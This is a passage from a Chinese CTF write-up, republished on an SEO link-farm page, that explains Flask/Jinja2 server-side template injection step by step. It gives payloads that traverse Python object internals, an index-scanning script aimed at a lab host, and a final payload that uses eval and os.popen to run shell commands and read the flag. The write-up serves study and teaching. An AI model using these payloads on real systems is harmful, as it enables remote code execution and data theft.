当前位置: 首页 > wzjs >正文

网站建设设计 飞沐社群运营

网站建设设计 飞沐,社群运营,汉中建筑信息平台,做谷歌推广的网站如何引流这个题很简单,主要是记录一下,做题的原理: 打开环境,提示我们用flag传参,然后我们需要判断是什么模板: 这里有一张图片,可以帮助我们轻松判断是什么模板类型:这个图片找不到出处了&…

这个题很简单,主要是记录一下,做题的原理:

打开环境,提示我们用flag传参,然后我们需要判断是什么模板:

这里有一张图片,可以帮助我们轻松判断是什么模板类型:这个图片找不到出处了,这里就不@作者了。

我们进行通过传参来判断到底是什么类型的模板,这里我们已经判断出是Jinjia2引擎,然后我们就需要构造payload看一下配置文件:

{{config}}

这里有时出题人会将flag藏到这里,这一关没有放到这里,我们接着就是要按照一般解题思路进行解题:

变量 -> 对象 -> 基类 ->子类遍历 -> 全局变量

在这个流程种找到我们想要的模块或者是函数。

首先我们先获取object对象:

#获取object对象:
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

然后获取所有有用的class:

''.__class__.__mro__[2] .__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__(){{ [].__class__.__bases__.__subclasses__()}}
{{ ''.__class__.__mro__()[1].__subclasses__()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

然后就需要我们去找到重载过的__init__类:

在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。

也就是说我们只有找到了被重载过的__init__类才能找到__globals__属性,然后才能继续下一步。这里我写了一个脚本来判断:

import requests
import time
import html
for i in range(0,300):time.sleep(0.06)payload="{{''.__class__.__mro__[1].__subclasses__()[%s]}}" % iurl='http://117.72.52.127:17751/?flag='r=requests.get(url+payload)if "os._wrap_close" in r.text:  #//这里可以是os._wrap_close也可以是catch_warnings,这样就会输出对应的索引print(r.text)print(i)break

这里的脚本就是要寻找那些有回显的或者可以执行命令的类,大多数利用的是os._wrap_close这个类,也有catch_warnings.这样我们就能获取到对应的索引,然后这里这个题我用到的是catch_warnings。找到对应的索引是177,然后构造payload为:

?flag={{''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fla*').read()")}}

这里找到索引后,调用它的__init__方法进行初始化类,然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等。

这里就可以去利用__builtins__模块,它里面有eval()等函数,我们可以也利用它来进行RCE。

最终构造的payload就是上面的payload。执行过后就可以得到flag。

这是一些比较好的SSTI的文章,我也从这里学到了很多:

FLask SSTI从零到入门 - 跳跳糖

详解Flask SSTI 利用与绕过技巧V2 - FreeBuf网络安全行业门户

http://www.dtcms.com/wzjs/49925.html

相关文章:

  • 天工网官方网站互联网营销案例
  • 如何在服务器上关闭网站关键词搜索神器
  • 网站做以后怎么修改网站内容自动点击器怎么用
  • flash是怎么做网站的seo 页面
  • 网站后台这么做视频教程b站视频推广网站400
  • 网站服务器停止响应怎么办地推接单正规平台
  • 泰国做网站百度网站排名优化价格
  • 西安十大网站制作公司电商平台如何推广运营
  • 杭州有哪些网站建设今天军事新闻最新消息
  • 醴陵网站开发宁波seo快速优化公司
  • 跨境电商单页网站的详情页怎么做的厦门百度关键词优化
  • 做游戏门户网站要注意什么阿里域名购买网站
  • 17一起做网站客服百度seo公司报价
  • 成人高考报名seo外包公司怎么样
  • 江苏天宇建设集团有限公司网站河南品牌网络推广外包
  • 江苏商城网站建设百度商城官网首页
  • 宠物网站开发功能需求网络推广山东
  • 简约大方网站优化大师安卓版
  • 浏览有关小城镇建设的网站舆情网站直接打开怎么弄
  • 中国旅游网站的建设seo基础知识培训视频
  • 王烨重生电脑优化用什么软件好
  • 旅行社网站建设方案娃哈哈软文推广
  • 晋江文创园网站建设抖音seo系统
  • 黄冈做网站店铺运营方案策划
  • 宁波做网站的大公司排名电脑优化软件排行榜
  • 做论坛网站需要多大空间最新新闻热点大事件
  • axure做网站教学视频上海seo有哪些公司
  • 做一家网站广州seo网站排名
  • 越秀高端网站建设怎样做网站卖自己的产品
  • 网站建设的目标百度seo公司整站优化